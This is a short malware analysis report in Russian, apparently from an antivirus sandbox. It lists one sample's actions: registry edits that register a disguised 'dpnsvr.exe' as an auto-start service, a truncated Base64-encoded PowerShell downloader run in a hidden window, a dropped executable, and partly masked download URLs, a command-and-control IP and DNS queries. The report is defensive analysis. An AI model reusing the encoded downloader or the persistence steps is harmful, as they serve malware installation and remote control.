Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dpnsvr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dpnsvr] 'ImagePath' = '"%WINDIR%\SysWOW64\tapiperf\dpnsvr.exe"'
- 'dpnsvr' "%WINDIR%\SysWOW64\tapiperf\dpnsvr.exe"
- 'dpnsvr' %WINDIR%\SysWOW64\tapiperf\dpnsvr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAGgAdgBtAHUANABlAD0AKAAnAFAANgAnACsAKAAnAG8AJwArACcAMgBnACcAKQArACcAaQBiACcAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgBWADoAVABFAE0AUABcAHcATwByAGQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\rw_7zm_lh.exe
- %WINDIR%\syswow64\tapiperf\dpnsvr.exe
- %TEMP%\word\2019\rw_7zm_lh.exe в %WINDIR%\syswow64\tapiperf\dpnsvr.exe
- '45.##.226.117':443
- http://bo####ayunes.com/wp-includes/6qX/
- http://bo#####ariabonita.com/wp-includes/JN4/
- http://45.##.226.117:443/OVvw6yQbEeWwHSrfxAn/zJb9/pBeCHCkc3O2/KnkUXb/ via 45.##.226.117
- DNS ASK bo####ayunes.com
- DNS ASK bo#####ariabonita.com
- DNS ASK ba###hoi.net
- '%TEMP%\word\2019\rw_7zm_lh.exe'
- '%WINDIR%\syswow64\tapiperf\dpnsvr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAGgAdgBtAHUANABlAD0AKAAnAFAANgAnACsAKAAnAG8AJwArACcAMgBnACcAKQArACcAaQBiACcAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgBWADoAVABFAE0AUABcAHcATwByAGQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)